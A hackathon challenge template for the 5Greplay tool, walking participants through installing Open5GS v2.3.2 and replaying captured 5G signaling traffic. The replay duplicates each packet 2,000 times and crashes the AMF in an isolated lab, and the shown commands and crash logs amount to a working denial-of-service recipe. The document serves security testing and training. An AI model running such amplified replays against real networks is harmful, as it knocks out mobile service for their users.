

CyberSuite Hackathon Challenges Template

Challenge Title: 5Greplay - a 5G network traffic fuzzer

Challenge Context and Purpose:

This challenge introduces participants to 5G network security testing using 5Greplay, an open-source tool developed by Montimage for replaying, modifying, and injecting 5G network traffic. Participants will install and configure a test environment using Ubuntu 24.04 and Open5GS, then use 5Greplay to replay and manipulate 5G signaling traffic. The challenge aims to familiarize participants with 5G protocol testing and assess the usability, effectiveness, and accessibility of 5Greplay, while gathering feedback to improve the tool and its documentation.

Goals of the Challenge:

- Familiarize participants with 5G traffic replay and fuzzing using 5Greplay.
- Evaluate the usability and effectiveness of 5Greplay for testing 5G network functions.
- Identify improvements to the installation process, documentation, configuration, and user experience.

Key Tasks for Participants:

- **Environment setup:** Install an Ubuntu 24.04 virtual machine.
- **Hands-on experiment:** Follow the step-by-step instructions to install and configure 5Greplay and Open5GS, then execute the provided test scenario (see below).
- **Results observation:** Examine the output of 5Greplay and Open5GS to understand how replayed traffic affects 5G network functions.
- **Further exploration (optional):** Explore additional 5Greplay tutorials:
 - Replay traffic against OAI CN: <https://5greplay.org/docs/tutorial/replay-oaicn>
 - SMC message testing: <https://5greplay.org/docs/tutorial/smc-message>
- **Knowledge assessment:** Complete a multiple-choice quiz evaluating understanding of the experiment and its results.
- **Challenge completion:** Receive a score based on quiz results and potentially a certificate of completion.

Feedback and Evaluation Requirements:

- **Live Q&A Session:**
 - Share first impressions of 5Greplay and the challenge experience.
 - Discuss installation difficulties, technical issues, and usability concerns.
 - Evaluate the clarity of instructions and configuration steps.
 - Suggest improvements to the tool, documentation, and tutorials.

CyberSuite Hackathon Challenges Template

- **Online Feedback Form:** Google Form.

Deliverables:

- A completed evaluation form covering usability, effectiveness, and clarity of instructions, optionally including 1-2 screenshots.
- A short list of the top 3 recommended improvements.
- Brief observations describing the results of the replay experiment and any unexpected behavior.

Resources and Tools Provided:

- [5Greplay source code](#) and [documentation](#).
- [Step-by-step Open5GS testing instructions](#) (see below).
- Additional tutorials covering Open5GS, OAI CN, and SMC message testing.
- Ubuntu 24.04 virtual machine (to be installed by participants).

Estimated Time Requirement: 30-45 minutes for the hands-on experiment, excluding virtual machine installation and environment setup.

Contact Point (Optional): Huu-Nghia Nguyen (huunghia.nguyen@montimage.eu)

Hands-on Experiment: Testing the Open5GS AMF with 5Greplay

Objective:

Use 5Greplay to generate a denial-of-service attack for 5G signaling traffic and evaluate its impact on the availability of the Open5GS Access and Mobility Management Function (AMF).

Prerequisites:

- A 64-bit Ubuntu 24.04 (you can use a virtual machine).
- Internet access and administrator privileges.
- Basic familiarity with Linux commands.

Step-by-Step Instructions:

1. Verify the environment

- 64-bit Ubuntu 24.04

```
lsb_release -a

montimage@montimage:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 24.04.3 LTS
Release:        24.04
Codename:       noble
```

2. Install Open5GS v2.3.2

- Download and install Open5GS version 2.3.2.

```
sudo apt install python3-pip python3-setuptools python3-wheel ninja-build build-essential flex bison git cmake libsctp-dev libgnutls28-dev libgcrypt-dev libssl-dev libidn11-dev libmongoc-dev libbson-dev libyaml-dev libnghttp2-dev libmicrohttpd-dev libcurl4-gnutls-dev libnghttp2-dev libtins-dev libtalloc-dev meson
git clone https://github.com/open5gs/open5gs.git
cd open5gs
git checkout v2.3.2
meson build --prefix=`pwd`/install
ninja -C build
sudo ./build/tests/app/5gc
```

```
montimage@montimage:~$ sudo apt install python3-pip python3-setuptools python3-wheel ninja-build build-essential flex bison git cmake libsctp-dev libgnutls28-dev libgcrypt-dev libssl-dev libidn11-dev libmongoc-dev libbson-dev libyaml-dev libnghttp2-dev libmicrohttpd-dev libcurl4-gnutls-dev libnghttp2-dev libtins-dev libtalloc-dev meson
git clone https://github.com/open5gs/open5gs.git
cd open5gs
git checkout v2.3.2
meson build --prefix=`pwd`/install
```

CyberSuite Hackathon Challenges Template

(this installation will take few minutes depending on your Internet speed and your machine performance)

```
0/08 15:50:33.022: [pfc] WARNING: [10] LOCAL No Reponse. Give up! for step 1 type 5 peer [127.0.0.4]:8805 (../lib/pfc
xact.c:612)
0/08 15:50:38.514: [upf] WARNING: Retry to association with peer [127.0.0.4]:8805 failed (../src/upf/pfc-sm.c:106)
0/08 15:50:46.027: [pfc] WARNING: [11] LOCAL No Reponse. Give up! for step 1 type 5 peer [127.0.0.4]:8805 (../lib/pfc
xact.c:612)
0/08 15:50:49.519: [upf] WARNING: Retry to association with peer [127.0.0.4]:8805 failed (../src/upf/pfc-sm.c:106)
0/08 15:50:57.026: [pfc] WARNING: [12] LOCAL No Reponse. Give up! for step 1 type 5 peer [127.0.0.4]:8805 (../lib/pfc
xact.c:612)
```

3. Install 5GReplay v0.0.1

- Open a new terminal
- Download and install 5GReplay version 0.0.1 from the [GitHub repository](#).

```
wget https://github.com/Montimage/5GReplay/releases/download/v0.0.1/5greplay-
0.0.1_Linux_x86_64.tar.gz
tar -xzf 5greplay-0.0.1_Linux_x86_64.tar.gz
cd 5greplay-0.0.1/
wget https://github.com/Montimage/5GReplay/raw/main/docs/docs/tutorial/replay-
open5gs/5g-sa.pcap
```

```
montimage@montimage:~$ wget https://github.com/Montimage/5GReplay/releases/download/v0.0.1/5greplay-0.0.1_Linux_x86_64.tar.gz
tar -xzf 5greplay-0.0.1_Linux_x86_64.tar.gz
cd 5greplay-0.0.1/
wget https://github.com/Montimage/5GReplay/raw/main/docs/docs/tutorial/replay-open5gs/5g-sa.pcap
--2026-10-08 15:38:41-- https://github.com/Montimage/5GReplay/releases/download/v0.0.1/5greplay-0.0.1_Linux_x86_64.tar.gz
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://release-assets.githubusercontent.com/github-production-release-asset/388062126/920d2602-3525-41e2-9b9a-453481c7dd6a?
Location: https://release-assets.githubusercontent.com/github-production-release-asset/388062126/920d2602-3525-41e2-9b9a-453481c7dd6a?
```

- Verify the installation and familiarize yourself with its basic commands.

```
montimage@montimage:~/5greplay-0.0.1$ ls -lrat
total 40728
drwxr-xr-x 2 montimage montimage 4096 Sep 9 2021 rules
drwxr-xr-x 2 montimage montimage 4096 Sep 9 2021 plugins
-rw-r--r-- 1 montimage montimage 4090 Sep 9 2021 mmt-5greplay.conf
-rwxr-xr-x 1 montimage montimage 33738992 Sep 9 2021 5greplay
drwxr-x-- 7 montimage montimage 4096 Oct 8 15:38 ..
drwxr-xr-x 4 montimage montimage 4096 Oct 8 15:38 .
-rw-rw-r-- 1 montimage montimage 7938787 Oct 8 15:38 5g-sa.pcap
montimage@montimage:~/5greplay-0.0.1$ ./5greplay -h
mmt-5greplay: 5GReplay v0.0.1-d9f4cef using DPI v1.7.0.0 (a8ad3c2) is running on pid 2603
Usage: ./5greplay command [option]
- command : is one of the following compile, info, replay
- option : run "./5greplay command -h" to get option of each command
montimage@montimage:~/5greplay-0.0.1$ ./5greplay replay -h
mmt-5greplay: 5GReplay v0.0.1-d9f4cef using DPI v1.7.0.0 (a8ad3c2) is running on pid 2606
replay [<Option>]
Option:
-v : Print version information, then exits.
-c <config file> : Gives the path to the configuration file (default: ./mmt-5greplay.conf).
-t <trace file> : Gives the trace file for offline analyse.
-i <interface> : Gives the interface name for live traffic analysis.
-X attr=value : Override configuration attributes.
For example "-X output.enable=true -Xoutput.output-dir=/tmp/" will enable output to file and change output
directory to /tmp.
This parameter can appear several times.
-x : Prints list of configuration attributes being able to be used with -X, then exits.
-h : Prints this help, then exits.
```

4. Test the AMF using 5GReplay

- Inject amplified 5G signaling traffic into the AMF:

CyberSuite Hackathon Challenges Template

Use 5Greplay to replay the captured traffic (5g-sa.pcap), duplicating each packet 2,000 times to generate a high traffic load and evaluate the AMF's resilience and availability in an isolated test environment.

```
sudo ./5greplay replay -t 5g-sa.pcap -Xforward.nb-copies=2000 -
Xforward.default=FORWARD
```

```
montimage@montimage:~/5greplay-0.0.1$ sudo ./5greplay replay -t 5g-sa.pcap -Xforward.nb-copies=2000 -Xforward.default=FORWARD
[sudo] password for montimage:
mmt-5greplay: 5Greplay v0.0.1-d9f4cef using DPI v1.7.0.0 (a8ad3c2) is running on pid 16177
mmt-5greplay: Overridden value of configuration parameter 'forward.nb-copies' by '2000'
mmt-5greplay: Overridden value of configuration parameter 'forward.default' by '0'
mmt-5greplay: Ignore duplicated rule id 103 (Inject only packet from UE -> Core but not inversed direction)
mmt-5greplay: MMT-5Greplay 0.0.1 (d9f4cef - Sep 9 2021 10:20:49) is verifying 3 rules having 5 proto.atts using the main thread
mmt-5greplay: Analyzing pcap file 5g-sa.pcap
mmt-5greplay: Statistics of forwarded packets 62800.00 pps, 63132800.00 bps
Statistics of forwarded packets 62800.00 pps, 63132800.00 bps
```

- Observe the AMF's behavior, including any errors, service interruptions, or crashes.

```
10/08 15:52:24.569: [core] WARNING: Failed to decode ASN-PDU [code:2,consumed:0] (./lib/asn1c/util/message.c:66)
10/08 15:52:24.569: [ngap] WARNING: Failed to decode NGAP-PDU (./lib/ngap/message.c:50)
10/08 15:52:24.569: [amf] ERROR: Cannot decode NGAP message (./src/amf/amf-sm.c:686)
10/08 15:52:24.569: [core] WARNING: Failed to decode ASN-PDU [code:2,consumed:0] (./lib/asn1c/util/message.c:66)
10/08 15:52:24.569: [ngap] WARNING: Failed to decode NGAP-PDU (./lib/ngap/message.c:50)
10/08 15:52:24.569: [amf] ERROR: Cannot decode NGAP message (./src/amf/amf-sm.c:686)
10/08 15:52:24.569: [mem] ERROR: cluster_alloc: Expectation 'buffer' failed. (./lib/core/ogs-pkbuf.c:314)
10/08 15:52:24.569: [mem] ERROR: ogs_pkbuf_alloc() failed [size=8192] (./lib/core/ogs-pkbuf.c:198)
10/08 15:52:24.569: [core] ERROR: ogs_asn_encode: Expectation 'pkbuf' failed. (./lib/asn1c/util/message.c:31)
10/08 15:52:24.569: [ngap] ERROR: ogs_ngap_encode: Expectation 'pkbuf' failed. (./lib/ngap/message.c:34)
10/08 15:52:24.569: [amf] ERROR: ngap_send_error_indication: Expectation 'ngapbuf' failed. (./src/amf/ngap-path.c:577)
10/08 15:52:24.569: [amf] FATAL: amf_state_operational: Assertion 'OGS_OK == ngap_send_error_indication( gnb, NULL, NULL,
NGAP_Cause_PR_protocol, NGAP_CauseProtocol_abstract_syntax_error_falsely_constructed_message)' failed. (./src/amf/amf-sm.c:687)
10/08 15:52:24.570: [core] FATAL: backtrace() returned 7 addresses (./lib/core/ogs-abort.c:37)
/home/montimage/open5gs/build/src/amf/open5gs-amfd(+0x2f837) [0x574694875837]
/home/montimage/open5gs/build/src/amf/./././lib/core/libogscore.so.2(ogs_fsm_dispatch+0x4b) [0x7fd9d7928fbb]
/home/montimage/open5gs/build/src/amf/open5gs-amfd(+0x7bae) [0x57469484dbae]
/home/montimage/open5gs/build/src/amf/./././lib/core/libogscore.so.2(+0x14c6f) [0x7fd9d791bc6f]
/lib/x86_64-linux-gnu/libc.so.6(+0x9cb84) [0x7fd9d6c9cb84]
/lib/x86_64-linux-gnu/libc.so.6(+0x129ecc) [0x7fd9d6d29ecc]
10/08 15:52:24.759: [app] ERROR: Signal-NUM[17] received (Child status change) (./src/main.c:67)
10/08 15:52:25.061: [pfcp] WARNING: [20] LOCAL No Reponse. Give up! for step 1 type 5 peer [127.0.0.4]:8805 (./lib/pfcp/xact.c:612)
10/08 15:52:28.558: [upf] WARNING: Retry to association with peer [127.0.0.4]:8805 failed (./src/upf/pfcp-sm.c:106)
10/08 15:52:29.844: [nrf] WARNING: [c07f4fc6-c32f-41f1-b7d9-3b186f17714f] No heartbeat (./src/nrf/nrf-sm.c:228)
10/08 15:52:29.844: [nrf] INFO: [c07f4fc6-c32f-41f1-b7d9-3b186f17714f] NF de-registered (./src/nrf/nf-sm.c:207)
```

5. Analyze the Results

- Examine the 5Greplay output and Open5GS AMF logs.
- Determine whether the AMF remains operational or becomes unavailable during testing.
- Record the observed results and any difficulties encountered.